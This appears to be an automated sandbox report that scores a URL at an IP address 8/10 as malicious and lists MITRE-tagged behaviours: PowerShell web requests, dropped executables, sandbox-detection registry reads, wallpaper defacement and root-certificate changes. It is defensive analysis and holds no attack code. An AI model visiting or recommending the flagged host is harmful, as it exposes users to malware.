hxxp://101[.]37[.]166[.]228/

Analysis

max time kernel
599s
max time network
606s
platform
windows11-21h2_x64
resource
win11-20240802-en
resource tags

arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
submitted
04-10-2024 22:23

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

http://101.37.166.228/

Score

8^/10

discovery execution ransomware

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
82	4324	powershell.exe
114	5476	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
4324	powershell.exe

Executes dropped EXE 17 IoCs

pid	Process
1728	7zr.exe
5572	chromium.exe
4844	chromium.exe
3660	chromium.exe
5480	chromium.exe
5296	chromium.exe
5348	chromium.exe
4756	chromium.exe
5580	chromium.exe
2840	chromium.exe
5372	chromium.exe
1016	chromium.exe
1988	chromium.exe
2436	chromium.exe
420	chromium.exe
5576	chromium.exe
772	chromium.exe

Loads dropped DLL 38 IoCs

pid	Process
2104	java.exe
5572	chromium.exe
4844	chromium.exe
3660	chromium.exe
5572	chromium.exe
2104	java.exe
5480	chromium.exe
5480	chromium.exe
5296	chromium.exe
5480	chromium.exe
5480	chromium.exe
5480	chromium.exe
5296	chromium.exe
5480	chromium.exe
5348	chromium.exe
5348	chromium.exe
4756	chromium.exe
5580	chromium.exe
5580	chromium.exe
4756	chromium.exe
2104	java.exe
2840	chromium.exe
2840	chromium.exe
5372	chromium.exe
5372	chromium.exe
1016	chromium.exe
1016	chromium.exe
1988	chromium.exe
1988	chromium.exe
2436	chromium.exe
2436	chromium.exe
420	chromium.exe
420	chromium.exe
5576	chromium.exe
5576	chromium.exe
772	chromium.exe
772	chromium.exe
772	chromium.exe

Checks system information in the registry 2 TTPs 2 IoCs

System information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName	chromium.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer	chromium.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\amor\\Wallpaper.jpg"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\amor\\Wallpaper.jpg"	powershell.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	chrome.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7zr.exe

Enumerates system info in registry 2 TTPs 12 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chromium.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chromium.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chromium.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133725542640084373"	chrome.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings\MuiCache	MiniSearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-3761892313-3378554128-2287991803-1000_Classes\Local Settings	chrome.exe

Modifies system certificate store 2 TTPs 6 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 5c000000010000000400000000080000190000000100000010000000a823b4a20180beb460cab955c24d7e21030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c7e00000001000000080000000000042beb77d5017a000000010000000c000000300a06082b060105050703097f000000010000000c000000300a06082b060105050703091d00000001000000100000006ee7f3b060d10e90a31ba3471b999236140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b620000000100000020000000ebd41040e4bb3ec742c9e381d31ef2a41a48b6685c96e7cef3c1df6cd4331c990b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520031000000530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000068000000306606082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050508020206082b0601050507030606082b0601050507030706082b0601050507030906082b0601050507030106082b060105050703080f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d0400000001000000100000003e455215095192e1b75d379fb187298a200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0	chromium.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A\Blob = 190000000100000010000000fd960962ac6938e0d4b0769aa1a64e26030000000100000014000000ad7e1c28b064ef8f6003402014c3d0e3370eb58a1d000000010000001000000090c4f4233b006b7bfaa6adcd8f577d77140000000100000014000000bf5fb7d1cedd1f86f45b55acdcd710c20ea988e76200000001000000200000001465fa205397b876faa6f0a9958e5590e40fcc7faa4fb7c2c8677521fb5fb65809000000010000002a000000302806082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030153000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c00b000000010000005400000053007400610072006600690065006c006400200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f00720069007400790000000f00000001000000140000000f6aad4c3fe04619cdc8b2bd655aa1a26042e6502000000001000000130400003082040f308202f7a003020102020100300d06092a864886f70d01010505003068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137333931365a170d3334303632393137333931365a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100b732c8fee971a60485ad0c1164dfce4defc80318873fa1abfb3ca69ff0c3a1dad4d86e2b5390fb24a43e84f09ee85fece52744f528a63f7bdee02af0c8af532f9eca0501931e8f661c39a74dfa5ab673042566eb777fe759c64a99251454eb26c7f37f19d530708fafb0462affadeb29edd79faa0487a3d4f989a5345fdb43918236d9663cb1b8b982fd9c3a3e10c83bef0665667a9b19183dff71513c302e5fbe3d7773b25d066cc323569a2b8526921ca702b3e43f0daf087982b8363dea9cd335b3bc69caf5cc9de8fd648d1780336e5e4a5d99c91e87b49d1ac0d56e1335235edf9b5f3defd6f776c2ea3ebb780d1c42676b04d8f8d6da6f8bf244a001ab020103a381c53081c2301d0603551d0e04160414bf5fb7d1cedd1f86f45b55acdcd710c20ea988e73081920603551d2304818a3081878014bf5fb7d1cedd1f86f45b55acdcd710c20ea988e7a16ca46a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100059d3f889dd1c91a55a1ac69f3f359da9b01871a4f57a9a179092adbf72fb21eccc75e6ad88387a197ef49353e7706415862bf8e58b80a673fecb3dd21661fc954fa72cc3d4c40d881af779e837abba2c7f534178ed91140f4fc2c2a4d157fa7625d2e25d3000b201a1d68f917b8f4bd8bed2859dd4d168b1783c8b265c72d7aa5aabc53866ddd57a4caf820410b68f0f4fb74be565d7a79f5f91d85e32d95bef5719043cc8d1f9a000a8729e95522580023eae31243295b4708dd8c416a6506a8e521aa41b4952195b97dd134ab13d6adbcdce23d39cdbd3e7570a1185903c922b48f9cd55e2ad7a5b6d40a6df8b74011469a1f790e62bf0f97ece02f1f1794	chromium.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A	chromium.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A\Blob = 0f00000001000000140000000f6aad4c3fe04619cdc8b2bd655aa1a26042e6500b000000010000005400000053007400610072006600690065006c006400200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f007200690074007900000053000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c009000000010000002a000000302806082b0601050507030206082b0601050507030306082b0601050507030406082b060105050703016200000001000000200000001465fa205397b876faa6f0a9958e5590e40fcc7faa4fb7c2c8677521fb5fb658140000000100000014000000bf5fb7d1cedd1f86f45b55acdcd710c20ea988e71d000000010000001000000090c4f4233b006b7bfaa6adcd8f577d77030000000100000014000000ad7e1c28b064ef8f6003402014c3d0e3370eb58a2000000001000000130400003082040f308202f7a003020102020100300d06092a864886f70d01010505003068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137333931365a170d3334303632393137333931365a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100b732c8fee971a60485ad0c1164dfce4defc80318873fa1abfb3ca69ff0c3a1dad4d86e2b5390fb24a43e84f09ee85fece52744f528a63f7bdee02af0c8af532f9eca0501931e8f661c39a74dfa5ab673042566eb777fe759c64a99251454eb26c7f37f19d530708fafb0462affadeb29edd79faa0487a3d4f989a5345fdb43918236d9663cb1b8b982fd9c3a3e10c83bef0665667a9b19183dff71513c302e5fbe3d7773b25d066cc323569a2b8526921ca702b3e43f0daf087982b8363dea9cd335b3bc69caf5cc9de8fd648d1780336e5e4a5d99c91e87b49d1ac0d56e1335235edf9b5f3defd6f776c2ea3ebb780d1c42676b04d8f8d6da6f8bf244a001ab020103a381c53081c2301d0603551d0e04160414bf5fb7d1cedd1f86f45b55acdcd710c20ea988e73081920603551d2304818a3081878014bf5fb7d1cedd1f86f45b55acdcd710c20ea988e7a16ca46a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100059d3f889dd1c91a55a1ac69f3f359da9b01871a4f57a9a179092adbf72fb21eccc75e6ad88387a197ef49353e7706415862bf8e58b80a673fecb3dd21661fc954fa72cc3d4c40d881af779e837abba2c7f534178ed91140f4fc2c2a4d157fa7625d2e25d3000b201a1d68f917b8f4bd8bed2859dd4d168b1783c8b265c72d7aa5aabc53866ddd57a4caf820410b68f0f4fb74be565d7a79f5f91d85e32d95bef5719043cc8d1f9a000a8729e95522580023eae31243295b4708dd8c416a6506a8e521aa41b4952195b97dd134ab13d6adbcdce23d39cdbd3e7570a1185903c922b48f9cd55e2ad7a5b6d40a6df8b74011469a1f790e62bf0f97ece02f1f1794	chromium.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C	chromium.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 0400000001000000100000003e455215095192e1b75d379fb187298a0f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d090000000100000068000000306606082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050508020206082b0601050507030606082b0601050507030706082b0601050507030906082b0601050507030106082b06010505070308530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520031000000620000000100000020000000ebd41040e4bb3ec742c9e381d31ef2a41a48b6685c96e7cef3c1df6cd4331c99140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b1d00000001000000100000006ee7f3b060d10e90a31ba3471b9992367f000000010000000c000000300a06082b060105050703097a000000010000000c000000300a06082b060105050703097e00000001000000080000000000042beb77d501030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c190000000100000010000000a823b4a20180beb460cab955c24d7e21200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0	chromium.exe

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\insuranceclient-cookies.jar:Zone.Identifier	chrome.exe

Suspicious behavior: EnumeratesProcesses 29 IoCs

pid	Process
340	chrome.exe
340	chrome.exe
340	chrome.exe
340	chrome.exe
1400	powershell.exe
1400	powershell.exe
1400	powershell.exe
4324	powershell.exe
4324	powershell.exe
4324	powershell.exe
3832	msedge.exe
3832	msedge.exe
1112	msedge.exe
1112	msedge.exe
5352	msedge.exe
5352	msedge.exe
5388	chrome.exe
5388	chrome.exe
5388	chrome.exe
5388	chrome.exe
5476	powershell.exe
5476	powershell.exe
5476	powershell.exe
4628	msedge.exe
4628	msedge.exe
4828	msedge.exe
4828	msedge.exe
772	chromium.exe
772	chromium.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 26 IoCs

pid	Process
340	chrome.exe
340	chrome.exe
340	chrome.exe
340	chrome.exe
340	chrome.exe
340	chrome.exe
340	chrome.exe
340	chrome.exe
1112	msedge.exe
1112	msedge.exe
1112	msedge.exe
1112	msedge.exe
1112	msedge.exe
1112	msedge.exe
1112	msedge.exe
340	chrome.exe
340	chrome.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
340	chrome.exe
340	chrome.exe
340	chrome.exe
340	chrome.exe
340	chrome.exe
340	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	340	chrome.exe
Token: SeCreatePagefilePrivilege	340	chrome.exe
Token: SeShutdownPrivilege	340	chrome.exe
Token: SeCreatePagefilePrivilege	340	chrome.exe
Token: SeShutdownPrivilege	340	chrome.exe
Token: SeCreatePagefilePrivilege	340	chrome.exe
Token: SeShutdownPrivilege	340	chrome.exe
Token: SeCreatePagefilePrivilege	340	chrome.exe
Token: SeShutdownPrivilege	340	chrome.exe
Token: SeCreatePagefilePrivilege	340	chrome.exe
Token: SeShutdownPrivilege	340	chrome.exe
Token: SeCreatePagefilePrivilege	340	chrome.exe
Token: SeShutdownPrivilege	340	chrome.exe
Token: SeCreatePagefilePrivilege	340	chrome.exe
Token: SeShutdownPrivilege	340	chrome.exe
Token: SeCreatePagefilePrivilege	340	chrome.exe
Token: SeShutdownPrivilege	340	chrome.exe
Token: SeCreatePagefilePrivilege	340	chrome.exe
Token: SeShutdownPrivilege	340	chrome.exe
Token: SeCreatePagefilePrivilege	340	chrome.exe
Token: SeShutdownPrivilege	340	chrome.exe
Token: SeCreatePagefilePrivilege	340	chrome.exe
Token: SeShutdownPrivilege	340	chrome.exe
Token: SeCreatePagefilePrivilege	340	chrome.exe
Token: SeShutdownPrivilege	340	chrome.exe
Token: SeCreatePagefilePrivilege	340	chrome.exe
Token: SeShutdownPrivilege	340	chrome.exe
Token: SeCreatePagefilePrivilege	340	chrome.exe
Token: SeShutdownPrivilege	340	chrome.exe
Token: SeCreatePagefilePrivilege	340	chrome.exe
Token: SeShutdownPrivilege	340	chrome.exe
Token: SeCreatePagefilePrivilege	340	chrome.exe
Token: SeShutdownPrivilege	340	chrome.exe
Token: SeCreatePagefilePrivilege	340	chrome.exe
Token: SeShutdownPrivilege	340	chrome.exe
Token: SeCreatePagefilePrivilege	340	chrome.exe
Token: SeShutdownPrivilege	340	chrome.exe
Token: SeCreatePagefilePrivilege	340	chrome.exe
Token: SeShutdownPrivilege	340	chrome.exe
Token: SeCreatePagefilePrivilege	340	chrome.exe
Token: SeShutdownPrivilege	340	chrome.exe
Token: SeCreatePagefilePrivilege	340	chrome.exe
Token: SeShutdownPrivilege	340	chrome.exe
Token: SeCreatePagefilePrivilege	340	chrome.exe
Token: SeShutdownPrivilege	340	chrome.exe
Token: SeCreatePagefilePrivilege	340	chrome.exe
Token: SeShutdownPrivilege	340	chrome.exe
Token: SeCreatePagefilePrivilege	340	chrome.exe
Token: SeShutdownPrivilege	340	chrome.exe
Token: SeCreatePagefilePrivilege	340	chrome.exe
Token: SeShutdownPrivilege	340	chrome.exe
Token: SeCreatePagefilePrivilege	340	chrome.exe
Token: SeShutdownPrivilege	340	chrome.exe
Token: SeCreatePagefilePrivilege	340	chrome.exe
Token: SeShutdownPrivilege	340	chrome.exe
Token: SeCreatePagefilePrivilege	340	chrome.exe
Token: SeShutdownPrivilege	340	chrome.exe
Token: SeCreatePagefilePrivilege	340	chrome.exe
Token: SeShutdownPrivilege	340	chrome.exe
Token: SeCreatePagefilePrivilege	340	chrome.exe
Token: SeShutdownPrivilege	340	chrome.exe
Token: SeCreatePagefilePrivilege	340	chrome.exe
Token: SeShutdownPrivilege	340	chrome.exe
Token: SeCreatePagefilePrivilege	340	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
340	chrome.exe
340	chrome.exe
340	chrome.exe
340	chrome.exe
340	chrome.exe
340	chrome.exe
340	chrome.exe
340	chrome.exe
340	chrome.exe
340	chrome.exe
340	chrome.exe
340	chrome.exe
340	chrome.exe
340	chrome.exe
340	chrome.exe
340	chrome.exe
340	chrome.exe
340	chrome.exe
340	chrome.exe
340	chrome.exe
340	chrome.exe
340	chrome.exe
340	chrome.exe
340	chrome.exe
340	chrome.exe
340	chrome.exe
1112	msedge.exe
1112	msedge.exe
1112	msedge.exe
1112	msedge.exe
1112	msedge.exe
1112	msedge.exe
1112	msedge.exe
1112	msedge.exe
1112	msedge.exe
1112	msedge.exe
1112	msedge.exe
1112	msedge.exe
1112	msedge.exe
1112	msedge.exe
1112	msedge.exe
1112	msedge.exe
1112	msedge.exe
1112	msedge.exe
1112	msedge.exe
1112	msedge.exe
1112	msedge.exe
1112	msedge.exe
1112	msedge.exe
1112	msedge.exe
1112	msedge.exe
1112	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe

Suspicious use of SendNotifyMessage 39 IoCs

pid	Process
340	chrome.exe
340	chrome.exe
340	chrome.exe
340	chrome.exe
340	chrome.exe
340	chrome.exe
340	chrome.exe
340	chrome.exe
340	chrome.exe
340	chrome.exe
340	chrome.exe
340	chrome.exe
1112	msedge.exe
1112	msedge.exe
1112	msedge.exe
1112	msedge.exe
1112	msedge.exe
1112	msedge.exe
1112	msedge.exe
1112	msedge.exe
1112	msedge.exe
1112	msedge.exe
1112	msedge.exe
1112	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
2104	java.exe
2104	java.exe
2104	java.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
6068	MiniSearchHost.exe
5648	javaw.exe
5648	javaw.exe
2104	java.exe
2104	java.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 340 wrote to memory of 276	340	chrome.exe	78
PID 340 wrote to memory of 276	340	chrome.exe	78
PID 340 wrote to memory of 3412	340	chrome.exe	79
PID 340 wrote to memory of 3412	340	chrome.exe	79
PID 340 wrote to memory of 3412	340	chrome.exe	79
PID 340 wrote to memory of 3412	340	chrome.exe	79
PID 340 wrote to memory of 3412	340	chrome.exe	79
PID 340 wrote to memory of 3412	340	chrome.exe	79
PID 340 wrote to memory of 3412	340	chrome.exe	79
PID 340 wrote to memory of 3412	340	chrome.exe	79
PID 340 wrote to memory of 3412	340	chrome.exe	79
PID 340 wrote to memory of 3412	340	chrome.exe	79
PID 340 wrote to memory of 3412	340	chrome.exe	79
PID 340 wrote to memory of 3412	340	chrome.exe	79
PID 340 wrote to memory of 3412	340	chrome.exe	79
PID 340 wrote to memory of 3412	340	chrome.exe	79
PID 340 wrote to memory of 3412	340	chrome.exe	79
PID 340 wrote to memory of 3412	340	chrome.exe	79
PID 340 wrote to memory of 3412	340	chrome.exe	79
PID 340 wrote to memory of 3412	340	chrome.exe	79
PID 340 wrote to memory of 3412	340	chrome.exe	79
PID 340 wrote to memory of 3412	340	chrome.exe	79
PID 340 wrote to memory of 3412	340	chrome.exe	79
PID 340 wrote to memory of 3412	340	chrome.exe	79
PID 340 wrote to memory of 3412	340	chrome.exe	79
PID 340 wrote to memory of 3412	340	chrome.exe	79
PID 340 wrote to memory of 3412	340	chrome.exe	79
PID 340 wrote to memory of 3412	340	chrome.exe	79
PID 340 wrote to memory of 3412	340	chrome.exe	79
PID 340 wrote to memory of 3412	340	chrome.exe	79
PID 340 wrote to memory of 3412	340	chrome.exe	79
PID 340 wrote to memory of 3412	340	chrome.exe	79
PID 340 wrote to memory of 4048	340	chrome.exe	80
PID 340 wrote to memory of 4048	340	chrome.exe	80
PID 340 wrote to memory of 4076	340	chrome.exe	81
PID 340 wrote to memory of 4076	340	chrome.exe	81
PID 340 wrote to memory of 4076	340	chrome.exe	81
PID 340 wrote to memory of 4076	340	chrome.exe	81
PID 340 wrote to memory of 4076	340	chrome.exe	81
PID 340 wrote to memory of 4076	340	chrome.exe	81
PID 340 wrote to memory of 4076	340	chrome.exe	81
PID 340 wrote to memory of 4076	340	chrome.exe	81
PID 340 wrote to memory of 4076	340	chrome.exe	81
PID 340 wrote to memory of 4076	340	chrome.exe	81
PID 340 wrote to memory of 4076	340	chrome.exe	81
PID 340 wrote to memory of 4076	340	chrome.exe	81
PID 340 wrote to memory of 4076	340	chrome.exe	81
PID 340 wrote to memory of 4076	340	chrome.exe	81
PID 340 wrote to memory of 4076	340	chrome.exe	81
PID 340 wrote to memory of 4076	340	chrome.exe	81
PID 340 wrote to memory of 4076	340	chrome.exe	81
PID 340 wrote to memory of 4076	340	chrome.exe	81
PID 340 wrote to memory of 4076	340	chrome.exe	81
PID 340 wrote to memory of 4076	340	chrome.exe	81
PID 340 wrote to memory of 4076	340	chrome.exe	81
PID 340 wrote to memory of 4076	340	chrome.exe	81
PID 340 wrote to memory of 4076	340	chrome.exe	81
PID 340 wrote to memory of 4076	340	chrome.exe	81
PID 340 wrote to memory of 4076	340	chrome.exe	81
PID 340 wrote to memory of 4076	340	chrome.exe	81
PID 340 wrote to memory of 4076	340	chrome.exe	81
PID 340 wrote to memory of 4076	340	chrome.exe	81
PID 340 wrote to memory of 4076	340	chrome.exe	81
PID 340 wrote to memory of 4076	340	chrome.exe	81

C:\Program Files\Google\Chrome\Application\chrome.exe
